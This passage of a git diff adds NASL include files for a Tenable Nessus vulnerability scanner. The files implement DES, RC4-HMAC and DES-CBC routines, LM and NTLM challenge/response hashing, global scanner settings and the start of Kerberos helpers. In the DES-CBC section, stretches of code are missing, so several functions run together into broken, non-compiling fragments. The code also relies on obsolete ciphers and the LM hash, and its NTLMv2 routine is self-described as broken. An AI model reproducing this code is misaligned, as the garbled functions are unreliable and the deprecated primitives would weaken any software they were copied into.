"^2[0-9]+/[0-9]+/[0-9]+$" ) return; + script_set_attribute(attribute:"plugin_modification_date", value: v[1]); +} + diff --git a/content/WinVA/plugins/crypto_func.inc b/content/WinVA/plugins/crypto_func.inc new file mode 100644 index 0000000..9dad8bf --- /dev/null +++ b/content/WinVA/plugins/crypto_func.inc @@ -0,0 +1,1010 @@ +#TRUSTED 7a2a8b19a0521318df1f69428ea6a0e04b5e0858e7488d84bf81d0407d7b658b7bd094f2b7649ce89a3659bfcd3f3bf9ff7e1e8c5b7367142d5135031222a3fa7eee8c3f1d003ea924b0b15acbd645da5668edd8a456a7ba53694919dd092eef12ef92fce3afdd57cfd839b361cccfcdfce7518e3a27a85c43f1c3b7e611b2ae1e959db349aed9a5a3d4b669accff7971307c6b249afe7fefa641aacd468425bcd22333adff8fcd8b2aa0e7ce271162d746533e713b6d0388c86d03eb49fc894376d535aa5b89fc4863c11557d9dd6b806181f0330fa562104b66e82cc8657fc57efeb480aa8119e21d6edbe5654e78f9c3b8cdd86bc2d16ed727fcb114cb71a3f7c33801448d2b7662455012606377cb5278a750e197755f02715bcd2d75993fb182961f4c566a7cb9da4b14a6a9497e801751fb86ab6c1e7c4ab0805bca17c7bb7b84dc1d3d0f8768a323e8bc011e3ded7c861ca7e10b1965cb0834b76430a7a405bf1fc424e461c247adbab937f14d22f752c411483b642ae57417c3e83de7d9d166788afcaaf6f2fce2952abdd7b8558fec954d5781f736c9ae6044ae296e100cea821e39cebb3f36b1dd0cb78fa8bc64d76b1101d18a60d7d8c13b381b5cd4c3474795b5bcd8a1121eb9d69479c843a493d1cc9cce3cc41a0de7858d089d80dc9cf4582c4dc0e03b7f2b1ba883e0a92e073a7d11a309c9b17c1519bb1d4 +# -*- Fundamental -*- +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# +# @NOGPL@ +# +# crypto_func.inc +# + + +#---------------------------------------------------------# +# DES encryption code # +#---------------------------------------------------------# + + + +perm1 = make_list (57, 49, 41, 33, 25, 17, 9, + 1, 58, 50, 42, 34, 26, 18, + 10, 2, 59, 51, 43, 35, 27, + 19, 11, 3, 60, 52, 44, 36, + 63, 55, 47, 39, 31, 23, 15, + 7, 62, 54, 46, 38, 30, 22, + 14, 6, 61, 53, 45, 37, 29, + 21, 13, 5, 28, 20, 12, 4 ); + + +perm2 = make_list (14, 17, 11, 24, 1, 5, + 3, 28, 15, 6, 21, 10, + 23, 19, 12, 4, 26, 8, + 16, 7, 27, 20, 13, 2, + 41, 52, 31, 37, 47, 55, + 30, 40, 51, 45, 33, 48, + 44, 49, 39, 56, 34, 53, + 46, 42, 50, 36, 29, 32 ); + +perm3 = make_list (58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6, + 64, 56, 48, 40, 32, 24, 16, 8, + 57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7 ); + +perm4 = make_list (32, 1, 2, 3, 4, 5, + 4, 5, 6, 7, 8, 9, + 8, 9, 10, 11, 12, 13, + 12, 13, 14, 15, 16, 17, + 16, 17, 18, 19, 20, 21, + 20, 21, 22, 23, 24, 25, + 24, 25, 26, 27, 28, 29, + 28, 29, 30, 31, 32, 1 ); + +perm5 = make_list (16, 7, 20, 21, + 29, 12, 28, 17, + 1, 15, 23, 26, + 5, 18, 31, 10, + 2, 8, 24, 14, + 32, 27, 3, 9, + 19, 13, 30, 6, + 22, 11, 4, 25 ); + +perm6 = make_list (40, 8, 48, 16, 56, 24, 64, 32, + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25 ); + +sc = make_list (1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1); + +sbox = make_list ( 14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13, + + 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9, + + 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12, + + 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14, + + 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3, + + 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13, + + 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12, + + 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11 ); + +function permute (in, p) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(p); i++) + buf += in[ord(p[i]) - 1]; + + return buf; +} + +function lshift (d, count) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(d); i++) + buf += d[(i+count)%strlen(d)]; + + return buf; +} + +function xor (in1, in2) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(in2); i++) + buf += raw_string (ord(in1[i]) ^ ord(in2[i])); + + return buf; +} + + +global_var _b, _er, _erk, _cb, _pcb, _l, _r, _r2, _buf; + +_b = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_er = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_erk = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_cb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_pcb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_l = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_r = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_r2 = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +__buf = make_list ( + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +function des_encrypt (in, key, type) +{ + local_var i, j, k, c, d, cd, pd1, l, r, rl, pk1; + local_var cb, pcb, r2, tmp, val, ki; + local_var m, n; + local_var cmpt, tmp1, tmp2, count; + + pk1 = c = d = cd = NULL; + + for (cmpt = 0; cmpt < 56; cmpt++) + pk1 += key[perm1[cmpt] - 1]; + + c = substr (pk1, 0, 27); + d = substr (pk1, 28, 55); + + for (i = 0; i < 16; i++) + { + tmp1 = tmp2 = NULL; + count = sc[i]; + for (cmpt = 0; cmpt < 28; cmpt++) + { + tmp1 += c[(cmpt+count)%28]; + tmp2 += d[(cmpt+count)%28]; + } + + c = tmp1; + d = tmp2; + + cd = c + d; + + ki[i] = NULL; + for (cmpt = 0; cmpt < 48; cmpt++) + ki[i] += cd[perm2[cmpt] - 1]; + } + + for (cmpt = 0; cmpt < 64; cmpt++) + { + if (cmpt < 32) + _l[cmpt] = in[perm3[cmpt] - 1]; + else + _r[cmpt-32] = in[perm3[cmpt] - 1]; + } + + + for (i = 0; i < 16; i++) + { + for (cmpt = 0; cmpt < 48; cmpt++) + _er[cmpt] = _r[perm4[cmpt] - 1]; + + if (type == 1) + { + tmp2 = ki[i]; + for (cmpt = 0; cmpt < 48; cmpt++) + _b[cmpt] = (_er[cmpt] ^ ord(tmp2[cmpt])); + } + else + { + tmp2 = ki[15-i]; + for (cmpt = 0; cmpt < 48; cmpt++) + _b[cmpt] = (_er[cmpt] ^ ord(tmp2[cmpt])); + } + + for (j = 0; j < 8; j++) + { + tmp2 = j*6; + m = (_b[tmp2] << 1) | _b[tmp2 + 5]; + n = (_b[tmp2 + 1] << 3) | (_b[tmp2 + 2] << 2) | (_b[tmp2 + 3] << 1) | _b[tmp2 + 4]; + + tmp1 = sbox [j*4*16 + m*16 + n]; + for (k = 0; k < 4; k++) + if ((tmp1 & (1<<(3-k))) == 0) + _b[tmp2 + k] = 0; + else + _b[tmp2 + k] = 1; + } + + for (j=0; j<8; j++) + { + tmp2 = j*6; + tmp1 = j*4; + _cb[tmp1] = _b[tmp2]; + _cb[tmp1+1] = _b[tmp2+1]; + _cb[tmp1+2] = _b[tmp2+2]; + _cb[tmp1+3] = _b[tmp2+3]; + } + + for (cmpt = 0; cmpt < 32; cmpt++) + _pcb[cmpt] = _cb[perm5[cmpt] - 1]; + + for (cmpt = 0; cmpt < 32; cmpt++) + _r2[cmpt] = (_l[cmpt] ^ _pcb[cmpt]); + + _l = _r; + _r = _r2; + } + + for (cmpt = 0; cmpt < 64; cmpt++) + { + tmp2 = perm6[cmpt]-1; + if (tmp2 < 32) + __buf[cmpt] = _r[tmp2]; + else + __buf[cmpt] = _l[tmp2-32]; + } + + return __buf; +} + + +global_var _zero, _one, _inb; + +_zero = raw_string(0); +_one = raw_string(1); + +_inb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +function set_des_key (key) +{ + local_var keyb, i; + + keyb = NULL; + + for (i=0;i<64;i++) + { + + if ((ord(key[i/8]) & (1<<(7-(i%8)))) == 0) + keyb += _zero; + else + keyb += _one; + } + + return keyb; +} + + +function str_to_key (str) +{ + local_var key, i; + + key = raw_string ( ((ord(str[0])>>1) << 1) , + ((((ord(str[0])&0x01)<<6) | (ord(str[1])>>2)) << 1) , + ((((ord(str[1])&0x03)<<5) | (ord(str[2])>>3)) << 1) , + ((((ord(str[2])&0x07)<<4) | (ord(str[3])>>4)) << 1) , + ((((ord(str[3])&0x0F)<<3) | (ord(str[4])>>5)) << 1) , + ((((ord(str[4])&0x1F)<<2) | (ord(str[5])>>6)) << 1) , + ((((ord(str[5])&0x3F)<<1) | (ord(str[6])>>7)) << 1) , + ((ord(str[6])&0x7F) << 1) ); + + return set_des_key(key:key); +} + + +function DES (in, key, _string, type) +{ + local_var inb, keyb, key2, outb, out, buf, i; + + inb = keyb= outb = buf = NULL;; + + if (isnull(_string) || (_string == TRUE)) + key2 = str_to_key (str:key); + else + key2 = key; + + for (i=0;i<64;i++) + { + if ((ord(in[i/8]) & (1<<(7-(i%8)))) == 0) + _inb[i] = 0; + else + _inb[i] = 1; + } + + outb = des_encrypt(in:_inb, key:key2, type:type); + + out = make_list (0,0,0,0,0,0,0,0); + + for (i=0;i<64;i++) + { + if (outb[i] == 1) + out[i/8] = out[i/8] | (1<<(7-(i%8))); + } + + for (i=0;i<8;i++) + { + buf += raw_string (out[i]); + } + + return buf; +} + + + + + +#---------------------------------------------------------# +# RC4 HMAC encryption code # +#---------------------------------------------------------# + +global_var arcS, arcS2; + +function arcfour_setkey (key) +{ + local_var i,j,temp; + + arcS = NULL; + for (i=0; i < 256; i++) + { + arcS[i] = i; + arcS2[i] = ord(key[i % strlen(key)]); + } + + j = 0; + + for (i=0; i < 256; i++) + { + j = (j + arcS[i] + arcS2[i]) % 256; + temp = arcS[i]; + arcS[i] = arcS[j]; + arcS[j] = temp; + } +} + + +function ARCFOUR (data) +{ + local_var i,j,temp,t,k,output,l; + + output = NULL; + i = j = 0; + + for (l=0; l < strlen(data); l++) + { + i = (i+1) % 256; + j = (j + arcS[i]) % 256; + temp = arcS[i]; + arcS[i] = arcS[j]; + arcS[j] = temp; + t = (arcS[i] + arcS[j]) % 256; + k = arcS[t]; + + output += raw_string (k ^ ord(data[l])); + } + + return output; +} + + +function rc4_hmac_string_to_key (string) +{ + # Must be unicode !!! + return MD4 (string); +} + + +function rc4_hmac_checksum (key,type,data,real_key) +{ + local_var hmac, tmp, key2; + + hmac = HMAC_MD5 (key:key, data:"signaturekey"+raw_byte(b:0)); + tmp = MD5 (type+data); + + return HMAC_MD5 (key:hmac, data:tmp); +} + + +function rc4_hmac_encrypt (key,data,type,real_key) +{ + local_var hmac, checksum, conf_data, K3, random, key2, val1, i; + + if (isnull(real_key) || (real_key == FALSE)) + key2 = rc4_hmac_string_to_key (string:key); + else + key2 = key; + + random = NULL; + + hmac = HMAC_MD5 (key:key2, data:type); + + for (i=0; i < 8; i++) + random += raw_string (rand() % 256); + conf_data = random + data; + + checksum = HMAC_MD5 (key:hmac, data:conf_data); + K3 = HMAC_MD5 (key:hmac, data:checksum); + + arcfour_setkey (key:K3); + val1 = ARCFOUR (data:conf_data); + + return checksum + val1; +} + + +function rc4_hmac_decrypt (key,data,type,real_key) +{ + local_var hmac, checksum, checksum2, conf_data, K3, key2, val1; + + if (isnull(real_key) || (real_key == FALSE)) + key2 = rc4_hmac_string_to_key (string:key); + else + key2 = key; + + hmac = HMAC_MD5 (key:key2, data:type); + + checksum = substr(data,0,15); + K3 = HMAC_MD5 (key:hmac, data:checksum); + + + conf_data = substr (data,16,strlen(data)-1); + arcfour_setkey (key:K3); + val1 = ARCFOUR (data:conf_data); + + checksum2 = HMAC_MD5 (key:hmac, data:val1); + + if (checksum == checksum2) + return substr(val1,8,strlen(val1)-1); + else + return NULL; +} + + +#function rc4_hmac_checksum (key,data,type) +#{ +# ksign = HMAC_MD5; +#} + + +#---------------------------------------------------------# +# DES-cbc encryption code # +#---------------------------------------------------------# + + +function xor8 (a,b) +{ + local_var tmp, i; + + tmp = NULL; + + for (i=0; i> 1; + } + + return raw_byte(b:tmp); +} + + +function reverse8 (s) +{ + local_var tmp, i; + + tmp = NULL; + + for (i=0; i!< hexstr(hash)) + return NULL; + + return msg; +} + + +function des_cbc_md5_checksum (data, key) +{ + local_var confounder, iv, i, enckey, tmp; + + iv = raw_string (0,0,0,0,0,0,0,0); + + enckey = xor8(a:key,b:raw_string(0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0)); + confounder = NULL; + + for (i=0; i<8; i++) + confounder += raw_byte(b:rand()%256); + + return des_cbc_encrypt (data:confounder+MD5(confounder+data), key:enckey, iv:iv, encrypt:1); +} + + + + +#---------------------------------------------------------# +# LANMAN2.1 Challenge/Response # +#---------------------------------------------------------# + + +function LM_Hash (password) +{ + local_var len, pass, K1, K2, hash; + + len = strlen (password) & 14; + pass = substr (password, 0, len); + + while (strlen(pass) < 14) + pass += raw_string (0); + + pass = toupper (pass); + + K1 = substr (pass, 0, 6); + K2 = substr (pass, 7, 13); + + hash = DES (in:"KGS!@#$%", key:K1, type:1) + DES (in:"KGS!@#$%", key:K2, type:1); + + return hash; +} + + +function LM_Response (password, challenge) +{ + local_var hash, key1, key2, key3, response; + + response = NULL; + + hash = LM_Hash (password:password); + response[1] = substr (hash, 0, 7) + raw_string (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00); + + hash += raw_string (0x00,0x00,0x00,0x00,0x00); + + key1 = substr (hash, 0, 6); + key2 = substr (hash, 7, 13); + key3 = substr (hash, 14, 20); + + response[0] = DES (in:challenge, key:key1, type:1) + DES (in:challenge, key:key2, type:1) + DES (in:challenge, key:key3, type:1); + + return response; +} + + + + +#---------------------------------------------------------# +# NTLM 0.12 Challenge/Response # +#---------------------------------------------------------# + + +function NTLM_Hash (password) +{ + if (password) + return MD4 (password); + else + return raw_string(0x31, 0xd6, 0xcf, 0xe0, 0xd1, 0x6a, 0xe9, 0x31, 0xb7, 0x3c, 0x59, 0xd7, 0xe0, 0xc0, 0x89, 0xc0); +} + +function NTLM_Response (password, challenge) +{ + local_var hash, key1, key2, key3, response; + + response = NULL; + hash = NTLM_Hash (password:password); + + response[1] = MD4 (hash); + + hash += raw_string (0x00,0x00,0x00,0x00,0x00); + + key1 = substr (hash, 0, 6); + key2 = substr (hash, 7, 13); + key3 = substr (hash, 14, 20); + + response[0] = DES (in:challenge, key:key1, type:1) + DES (in:challenge, key:key2, type:1) + DES (in:challenge, key:key3, type:1); + + return response; +} + + +function NTLMv2_Hash (password, login, domain) +{ + local_var hash, user, dest, data; + + hash = NTLM_Hash (password:password); + user = toupper (login); + dest = domain; + + data = user + dest; + hash = HMAC_MD5 (data:data, key:hash); + + return hash; +} + + +# Not used : Broken # +function NTLMv2_Response (password, login, domain, challenge) +{ + local_var hash, data, blob, hmac, resp, TimeStamp, blip, i; + + resp = NULL; + hash = NTLMv2_Hash (password:password, login:login, domain:domain); + + blip = NULL; + + for (i = 0; i < 8; i++) + blip += raw_string (rand() % 256); + + TimeStamp = raw_string (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) ; # To change !! + + blob = raw_string ( 0x01, # Response Type Identification Number + 0x01, # Maximum Response Type Identification Number + 0x00, 0x00, # Reserved + 0X00, 0x00, 0x00, 0x00 ) # Reserved ? + + + TimeStamp + + + blip + + + raw_string (0x00,0x00,0x00,0x00) # Unknown value + + + raw_string (0x00,0x00,0x00,0x00) # List of Netbios Name. Emtpy for the moment. + + + raw_string (0x00,0x00,0x00,0x00); # Unknown value + + data = challenge + blob; + hmac = HMAC_MD5 (data:data, key:hash); + resp[0] = hmac + blob; + resp[1] = HMAC_MD5 (data:hash, key:hmac); + + return resp; +} + + +function LMv2_Response (password, login, domain, challenge) +{ + local_var hash, data, blob, hmac, resp, TimeStamp, blip, i; + + resp = NULL; + hash = NTLMv2_Hash (password:password, login:login, domain:domain); + + blip = NULL; + + for (i = 0; i < 8; i++) + blip += raw_string (rand() % 256); + + data = challenge + blip; + hmac = HMAC_MD5 (data:data, key:hash); + resp[0] = hmac + blip; + resp[1] = HMAC_MD5 (data:hmac, key:hash); + + return resp; +} diff --git a/content/WinVA/plugins/global_settings.inc b/content/WinVA/plugins/global_settings.inc new file mode 100644 index 0000000..6118679 --- /dev/null +++ b/content/WinVA/plugins/global_settings.inc @@ -0,0 +1,107 @@ +# -*- sh -*- +global_var experimental_scripts, report_verbosity, log_verbosity, debug_level, thorough_tests, report_paranoia; + +experimental_scripts = 0; +report_verbosity = 1; +debug_level = 0; +log_verbosity = 1; +thorough_tests = 0; +report_paranoia = 1; +all_addr_private = 0; +all_addr_public = 0; + + +__gs_opt = get_kb_item("global_settings/network_type"); +if (__gs_opt) +{ + if ("LAN" >< __gs_opt) all_addr_private = 1; + else if ("Internet" >< __gs_opt) all_addr_public = 1; +} + + + + +__gs_opt = get_kb_item("global_settings/report_verbosity"); +if (__gs_opt) +{ + if ("Normal" >< __gs_opt) report_verbosity = 1; + else if ("Quiet" >< __gs_opt) report_verbosity = 0; + else if ("Verbose" >< __gs_opt) report_verbosity = 2; +} + +__gs_opt = get_kb_item("global_settings/report_paranoia"); +if (__gs_opt) +{ + if ("Avoid false alarms" >< __gs_opt) report_paranoia = 0; + else if ("Normal" >< __gs_opt) report_paranoia = 1; + else if ("Paranoid" >< __gs_opt) report_paranoia = 2; +} + +__gs_opt = get_kb_item("global_settings/log_verbosity"); +if (__gs_opt) +{ + if ("Normal" >< __gs_opt) log_verbosity = 1; + else if ("Quiet" >< __gs_opt) log_verbosity = 0; + else if ("Verbose" >< __gs_opt) log_verbosity = 2; + else if ("Debug" >< __gs_opt) + { + log_verbosity = 3; + __gs_opt = get_kb_item("global_settings/debug_level"); + if (__gs_opt =~ '^[0-9]+$') debug_level = int(__gs_opt); + if (debug_level <= 0) debug_level = 1; + } +} + +if (COMMAND_LINE) experimental_scripts = 1; +else +{ + __gs_opt = get_kb_item("global_settings/experimental_scripts"); + if ( __gs_opt ) + { + if ( "no" >< __gs_opt ) experimental_scripts = 0; + else if ("yes" >< __gs_opt) experimental_scripts = 1; + } +} + +__gs_opt = get_kb_item("global_settings/thorough_tests"); +if ( __gs_opt ) +{ + if ( "no" >< __gs_opt) thorough_tests = 0; + else if ("yes" >< __gs_opt) thorough_tests = 1; +} + +# a0 to a9 parameters are useless. They were added to suppress a warning +# with old NASL2 interpreters +function debug_print(level, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9) +{ + local_var msg, i, l; + + if (isnull(level)) level = 1; + if (debug_level < level) return; + if ( NASL_LEVEL < 2191 ) return; + msg = strcat(SCRIPT_NAME, '(', get_host_ip(), '): '); + foreach i (_FCT_ANON_ARGS) { msg = string(msg, i); } + l = strlen(msg); + if (l == 0) return; + if (msg[l-1] != '\n') msg += '\n'; + display("DEBUG: ", msg); +} + +# a0 to a9 parameters are useless. They were added to suppress a warning +# with old NASL2 interpreters +function log_print(level, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9) +{ + local_var msg, i, l; + + if (isnull(level)) level = 1; + if (debug_level <= 0 || log_verbosity < level) return; + if ( NASL_LEVEL < 2191 ) return; + msg = strcat(SCRIPT_NAME, '(', get_host_ip(), '): '); + foreach i (_FCT_ANON_ARGS) { msg = string(msg, i); } + l = strlen(msg); + if (l == 0) return; + if (msg[l-1] != '\n') msg += '\n'; + display("LOG: ", msg); +} + +GLOBAL_SETTINGS_INC = 1; diff --git a/content/WinVA/plugins/kerberos_func.inc b/content/WinVA/plugins/kerberos_func.inc new file mode 100644 index 0000000..ce07be2 --- /dev/null +++ b/content/WinVA/plugins/kerberos_func.inc @@ -0,0 +1,2032 @@ +#TRUSTED 8c67d770a219840d35ab5cff57b45561866374e3d7bdbff431f745c89f5928376fcc8a39a2ff01f070d71bcfc3e1c899b80023483d14590b986f98e211e9418861b3dc659ede81bd5dc9e7e80aed4c65fc5ed3ead2a87317a8bf2a2584b7cd82920b8ad7337a128d5dc1f7994d382f00c54530475acc798e0884bbc4e7a14af8f92d7bf19c916f83684c029d66df8c8f5055e0200aa9f1094f160d383cf2e3e749e021f407ba33095b09eb94e1a905dbdcdc920e4a8e4dfee86310ad918221022796efbe57dafd2bba4b0fd7c1c0bbd1cd0a5415b3fe326591d5f05fa91fc70fadac553972846e89a9ad11577f5ef075158bcdcdf3e075bce8e841c4637ad70f37a3914e09e926026bcc9ab0ffb132892541f005ff097e823ce941525f4c4a1c07c18986aa0b354e384e55bd7ed554fee3957373a0bfc8f4e9dae23bfaff616f4e5022c948fff74a4232d1832f68b55300bbaf5b44db54bed79e1e6759902da13ad1f27b7f56dc7c06e601581f42bd6f88039608ac282c73f763344e66fcc351e22ec1f27578d72bfb9f7caf08f084098e2ef7069d5bb25c00d365bfcaa8acff100a290fe4311a51888605f06af387e6ddec5469f575e5bc1f2c313647fff26b23de36a354b29a6b80a89109873652ee2437487e40316361c8483cf4f9761f51805270f2e11d13245382f1d7d35ebfe6486981dbfaa37b392141dfd0c2c49720 +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# @NOGPL@ +# +# kerberos_func.inc +# + +include ('crypto_func.inc'); + + +#---------------------------------------------------------# +# Function : raw_byte # +# Description : Convert a byte to raw data # +#---------------------------------------------------------# + +function raw_byte (b) +{ + return raw_string (b); +} + + +#---------------------------------------------------------# +# Function : raw_word # +# Description : Convert a word to raw data # +#---------------------------------------------------------# + +function raw_word (w) +{ + return raw_string ( (w) & 255, + (w>>8) & 255 ); +} + + +#---------------------------------------------------------# +# Function : raw_dword # +# Description : Convert a dword to raw data # +#---------------------------------------------------------# + +function raw_dword (d) +{ + return raw_string ( (d) & 255, + (d>>8) & 255, + (d>>16) & 255, + (d>>24) & 255 ); +} + + +#---------------------------------------------------------# +# Function : get_byte # +# Description : Extract a byte from a blob # +#---------------------------------------------------------# + +function get_byte (blob,pos) +{ + if (pos > (strlen (blob) - 1)) + return NULL; + + return ( ord(blob[pos]) ); +} + + +#---------------------------------------------------------# +# Function : get_word # +# Description : Extract a word from a blob # +#---------------------------------------------------------# + +function get_word (blob,pos) +{ + if (pos > (strlen (blob) - 2)) + return NULL; + + return ( ord(blob[pos]) + (ord(blob[pos+1]) << 8) ); +} + + +#---------------------------------------------------------# +# Function : get_dword # +# Description : Extract a dword from a blob # +#---------------------------------------------------------# + +function get_dword (blob, pos) +{ + if (pos > (strlen (blob) - 4)) + return NULL; + + return ( ord(blob[pos]) + + (ord(blob[pos+1]) << 8) + + (ord(blob[pos+2]) << 16) + + (ord(blob[pos+3]) << 24) ); +} + + +#---------------------------------------------------------# +# Function : get_checksum_type # +# Description : return checksum type # +#---------------------------------------------------------# + +function get_checksum_type (enc_type) +{ + if (enc_type == 23) + return -138; + if (enc_type == 3) + return 8; + + return 0; +} + + +#---------------------------------------------------------# +# Function : supported_encryption_type # +# Description : check if encryption type is supported # +#---------------------------------------------------------# + +function supported_encryption_type (type) +{ + if ((type != 23) && # arcfour + (type != 3)) # des-cbc-md5 + return FALSE; + + return TRUE; +} + + +#---------------------------------------------------------# +# Function : kerberos_checksum # +# Description : checksum data # +#---------------------------------------------------------# + +function kerberos_checksum (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_checksum (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + { + enckey = des_cbc_string_to_key (_string:key, salt:realm+principal); + } + else + enckey = key; + + return des_cbc_md5_checksum (data:data, key:enckey); + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : kerberos_decrypt # +# Description : decrypt data # +#---------------------------------------------------------# + +function kerberos_decrypt (key, type, data, real_key, enc_type, realm, principal) +{ + local_var enckey; + + if (enc_type == 23) + return rc4_hmac_decrypt (key:key, type:type, data:data, real_key:real_key); + if (enc_type == 3) + { + if (real_key == FALSE) + { + enckey = des_cbc_string_to_key 